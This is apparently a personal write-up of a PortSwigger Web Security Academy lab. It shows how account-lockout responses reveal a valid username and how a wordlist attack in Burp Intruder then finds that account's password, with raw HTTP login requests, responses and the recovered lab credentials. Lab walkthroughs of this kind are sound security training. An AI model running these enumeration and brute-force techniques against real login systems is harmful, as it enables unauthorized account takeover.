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Port Swigger Username enumeration via account lock

Username enumeration via account lock

Solution

Open the website: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net/login

https://0a38000e04cecbf684b21d1400570096.web-security-academy.net/login

Bruteforce username with null password

I used a wordlists of username and null password
Wordlist from --> https://portswigger.net/web-security/authentication/auth-lab-usernames

Cluster bomb attack used
Payload position 1: wordlist of username
Payload position 2: null payloads
Correct username is: asdl


---
POST /login HTTP/2
Host: 0a38000e04cecbf684b21d1400570096.web-security-academy.net
Cookie: session=lHz7m3U2XmbVgnIMbn3ZKp6utqan9BHl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net
Referer: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=$carlos$&password=pass$$

---
POST /login HTTP/2
Host: 0a38000e04cecbf684b21d1400570096.web-security-academy.net
Cookie: session=lHz7m3U2XmbVgnIMbn3ZKp6utqan9BHl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net
Referer: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

username=adsl&password=pass
___

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3184

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>Username enumeration via account lock</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>Username enumeration via account lock</h2>
                            <a class=link-back href='https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-notsolved'>
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
        </div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <p class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).</p>
                        <form class=login-form method=POST action="/login">
                            <label>Username</label>
                            <input required type=username name="username" autofocus>
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>

Bruteforce password for user: adsl

I used a wordlist of passwords
Wordlist from --> https://portswigger.net/web-security/authentication/auth-lab-passwords

Sniper attack used
Payload position 1: wordlist of passwords
Correct password is: robert
---
POST /login HTTP/2
Host: 0a38000e04cecbf684b21d1400570096.web-security-academy.net
Cookie: session=lHz7m3U2XmbVgnIMbn3ZKp6utqan9BHl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net
Referer: https://0a38000e04cecbf684b21d1400570096.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

username=adsl&password=robert
---
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3054

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>Username enumeration via account lock</title>
    </head>
    <body>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>Username enumeration via account lock</h2>
                            <a class=link-back href='https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-account-lock'>
                                Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;
                                <svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
                                    <g>
                                        <polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
                                        <polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
                                    </g>
                                </svg>
                            </a>
                        </div>
                        <div class='widgetcontainer-lab-status is-notsolved'>
                            <span>LAB</span>
                            <p>Not solved</p>
                            <span class=lab-status-icon></span>
                        </div>
                    </div>
                </div>
            </section>
        </div>
        <div theme="">
            <section class="maincontainer">
                <div class="container is-page">
                    <header class="navigation-header">
                        <section class="top-links">
                            <a href=/>Home</a><p>|</p>
                            <a href="/my-account">My account</a><p>|</p>
                        </section>
                    </header>
                    <header class="notification-header">
                    </header>
                    <h1>Login</h1>
                    <section>
                        <form class=login-form method=POST action="/login">
                            <label>Username</label>
                            <input required type=username name="username" autofocus>
                            <label>Password</label>
                            <input required type=password name="password">
                            <button class=button type=submit> Log in </button>
                        </form>
                    </section>
                </div>
            </section>
            <div class="footer-wrapper">
            </div>
        </div>
    </body>
</html>

Login as user: adsl

L: adsl
P: robert

Solved